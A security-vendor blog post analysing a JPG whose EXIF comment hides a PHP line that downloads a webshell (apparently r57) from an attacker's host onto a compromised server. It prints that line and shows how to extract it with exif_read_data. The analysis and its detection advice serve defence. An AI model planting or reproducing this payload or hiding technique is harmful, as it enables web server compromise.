Trustwave Unveils New Offerings to Maximize Value of Microsoft Security Investments. Learn More

Trustwave Unveils New Offerings to Maximize Value of Microsoft Security Investments. Learn More

Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Hiding PHP Code in Image Files Revisited

Over five years ago, we published a blog detailing how a webshell’s backdoor code was hidden in an image file. With this method, an attacker inserts PHP backdoor code in the meta-data headers of an image to circumvent detection. Though not entirely a new tactic at that time, fast forward five years and we continue to encounter this type of attack. This blog outlines another similar case we recently uncovered. We are highlighting the topic again to raise awareness, as well as showing another technique the attacker utilizes to deliver a webshell to the compromised system.

This following JPG image is seemingly benign.


However, taking a closer look at the JPG binary in hex viewer, we can see that there is something fishy going on here:


PHP code is clearly visible and is actually part of the JPG file’s EXIF header. EXIF  or Exchangeable image format is a standard that specifies the formats for images, sound, ancillary tags used by digital cameras, scanners and other devices. We can use PHP’s inbuilt exif_read_data() function to extract that image EXIF metadata.

php > $exif = exif_read_data(__DIR__.'/98f4d81cb7c00202522a256c5144218435ce07536608192a7a5103bb8e03ebfa'); // read the jpeg sample's exif header

When printing the EXIF header, we can expose the entire EXIF header. The malicious PHP script is stored in the comment section of the EXIF header. 

php > print_r($exif); // print the exif header
    [FileName] => 98f4d81cb7c00202522a256c5144218435ce07536608192a7a5103bb8e03ebfa
    [FileDateTime] => 1554614278
    [FileSize] => 33903
    [FileType] => 2
    [MimeType] => image/jpeg
    [SectionsFound] => COMMENT
    [COMPUTED] => Array
            [html] => width="180" height="198"
            [Height] => 198
            [Width] => 180
            [IsColor] => 1

    [COMMENT] => Array
            [0] => <?php ob_clean(); system("lynx -source > r57.php"); die(); ?>


And we will be able to read this comment section by reading the comment array:

php > print_r($exif[COMMENT][0]);
<?php ob_clean(); system("lynx -source > r57.php"); die(); ?>

This script downloads a text file from the attacker's host and saves it with a .php file extension in the compromised system.

At the time of this writing, the host is unreachable.


But based on the filename, this could be the r57 webshell

Unlike our previous blog, the attacker didn’t stash the entire webshell in the header but utilized a staging method by downloading the webshell from an external host. This is probably to make it less conspicuous and to make the file size smaller.

Screen grab of the webshell:


It seems that was used to host a webpage that sells Banking trojan that targets Brazilian bank. Here's a web archive link:


Image formats such as JPEG can seemingly be unharmful and many filters and gateways let this file format pass without too much scrutiny. Based on this premise, attackers leverage this file format to hide malicious code. Scanning for PHP tags in image files can certainly help to detect and block this type of attack.


Image file:
SHA256: 98F4D81CB7C00202522A256C5144218435CE07536608192A7A5103BB8E03EBFA

Latest SpiderLabs Blogs

Network Isolation for DynamoDB with VPC Endpoint

DynamoDB is a fully managed NoSQL database service offered by Amazon Web Services (AWS). It is renowned for its scalability, dependability, and easy connection with other AWS services....

Read More

The Underdog of Cybersecurity: Uncovering Hidden Value in Threat Intelligence

Threat Intelligence, or just TI, is sometimes criticized for possibly being inaccurate or outdated. However, there are compelling reasons to incorporate it into your cybersecurity defense strategy....

Read More

Clockwork Blue: Automating Security Defenses with SOAR and AI

It’s impractical to operate security operations alone, using manual human processes. Finding opportunities to automate SecOps is an underlying foundation of Zero Trust and an essential architecture...

Read More